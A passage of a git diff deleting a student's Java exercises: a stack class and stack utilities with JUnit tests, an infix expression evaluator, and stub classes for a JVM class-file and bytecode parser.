-    private ArrayList elementData;
-
-    public Stack() {
-        this.count = 0;
-        elementData = new ArrayList();
-    }
-
-    public void push(Object o) {
-        count++;
-        elementData.add(o);
-
-    }
-
-    public Object pop() {
-        count--;
-        Object o = elementData.get(count);
-        elementData.remove(count);
-        return o;
-    }
-
-    public Object peek() {
-
-        return elementData.get(count-1);
-    }
-
-    public boolean isEmpty() {
-        if (count == 0) {
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    public int size() {
-        return count;
-    }
-
-    public String toString(){
-        StringBuilder sb = new StringBuilder();
-        Stack s = new Stack();
-        while(!this.isEmpty()){
-            sb.append(this.peek().toString());
-            sb.append(",");
-            s.push(this.pop());
-        }
-        while(!s.isEmpty()){
-            this.push(s.pop());
-        }
-
-//       sb.deleteCharAt(sb.length()-1);
-        return sb.toString();
-    }
-}
-
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 70bd34e37f..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,136 +0,0 @@
-package com.coding.basic.stack;
-import java.util.Stack;
-public class StackUtil {
-	
-	public static void bad_reverse(Stack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Stack<Integer> tmpStack = new Stack();
-		while(!s.isEmpty()){
-			tmpStack.push(s.pop());
-		}
-		
-		s = tmpStack;
-		
-	}
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Integer top = s.pop();
-		reverse(s);
-		addToBottom(s,top);
-		
-		
-	}
-	public static void addToBottom(Stack<Integer> s,  Integer value){
-		if(s.isEmpty()){
-			s.push(value);
-		} else{
-			Integer top = s.pop();
-			addToBottom(s,value);
-			s.push(top);
-		}
-		
-	}
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		Stack tmpStack = new Stack();
-		
-		while(!s.isEmpty()){
-			Object value = s.pop();
-			if(!value.equals(o)){
-				tmpStack.push(value);
-			} 			
-		}
-		
-		while(!tmpStack.isEmpty()){
-			s.push(tmpStack.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		
-		if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
-			return null;
-		}
-		
-		Stack tmpStack = new Stack();
-		int i = 0;
-		Object[] result = new Object[len];
-		while(!s.isEmpty()){
-			Object value = s.pop();			
-			tmpStack.push(value);
-			result[i++] = value;
-			if(i == len){
-				break;
-			}
-		}
-		
-		return result;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		
-		Stack<Character> stack = new Stack();
-		for(int i=0;i<s.length();i++){
-			char c = s.charAt(i);
-			
-			if(c == '(' || c =='[' || c == '{'){
-				
-				stack.push(c);
-				
-			} else if( c == ')'){
-				
-				char topChar = stack.pop();
-				if(topChar != '('){
-					return false;
-				}
-				
-			} else if( c == ']'){
-				
-				char topChar = stack.pop();
-				if(topChar != '['){
-					return false;
-				}
-					
-			} else if( c == '}'){
-				
-				char topChar = stack.pop();
-				if(topChar != '{'){
-					return false;
-				}
-				
-			}
-		}
-		return stack.size() == 0;
-	}
-	
-	
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
deleted file mode 100644
index 99dd8450fe..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/StackUtilTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package com.coding.basic.stack;
-
-import static org.junit.Assert.fail;
-
-import java.util.Stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-public class StackUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testAddToBottom() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		
-		StackUtil.addToBottom(s, 0);
-		
-		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
-		
-	}
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index 091c670ba8..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import com.coding.basic.stack.Stack;
-
-import java.util.HashMap;
-
-public class InfixExpr {
-    String expr = null;
-    char[] chars;
-    Stack opStack;
-    Stack numStack;
-    private HashMap<Character, Integer> level = new HashMap<>();
-
-    int pos;
-
-    public InfixExpr(String expr) {
-        this.expr = expr;
-
-
-        this.level.put('+', 0);
-        this.level.put('-', 0);
-        this.level.put('*', 1);
-        this.level.put('/', 1);
-
-
-        this.opStack = new Stack();
-        this.numStack = new Stack();
-        this.pos = 0;
-    }
-
-    public float evaluate() {
-        chars = expr.toCharArray();
-        while (this.pos < chars.length) {
-            if (isOp(chars[pos])) {
-                if (opStack.isEmpty()) {
-                    opStack.push(chars[pos]);
-                    pos++;
-                } else {
-                    //TODO analyze
-                    char op = (char) opStack.pop();
-                    if (level.get(chars[pos]) <= level.get(op)) {
-
-                        int c = this.caculate(op);
-                        numStack.push(c);
-                        opStack.push(chars[pos]);
-                        pos++;
-
-
-                    }else {
-                        opStack.push(op);
-                        opStack.push(chars[pos]);
-                        pos++;
-                    }
-                }
-            } else {
-                int num = this.getNumber();
-                numStack.push(num);
-
-            }
-        }
-
-        while(!opStack.isEmpty()){
-            char op = (char) opStack.pop();
-
-            int c = this.caculate(op);
-            numStack.push(c);
-       }
-
-        return (int)numStack.pop();
-    }
-
-    private boolean isOp(char c) {
-        switch (c) {
-            case '+':
-            case '-':
-            case '*':
-            case '/':
-                return true;
-
-            default:
-                return false;
-        }
-    }
-
-    private int getNumber() {
-        int num = Integer.parseInt("" + chars[pos]);
-        pos++;
-        while ((pos < chars.length)&&(!isOp(chars[pos])) ) {
-            num *= 10;
-            num += Integer.parseInt("" + chars[pos]);
-            pos++;
-        }
-        return num;
-    }
-
-    private int caculate(char c) {
-        int b = (int) numStack.pop();
-        int a = (int) numStack.pop();
-        switch (c) {
-            case '+':
-                return a + b;
-            case '-':
-                return a - b;
-            case '*':
-                return a * b;
-            case '/':
-                return a / b;
-        }
-        return -1;
-    }
-}
-
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 20f52b4c63..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index a57a8b5446..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,72 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;
-	}
-
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-
-		return null;
-	}
-
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-
-
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-
-	}
-
-
-
-
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index a31a1ff4d0..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 14db5dca46..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 2a8dfb6123..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return null;
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index 2bb36340f5..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,85 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-		
-		return null;
-	}
-
-	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
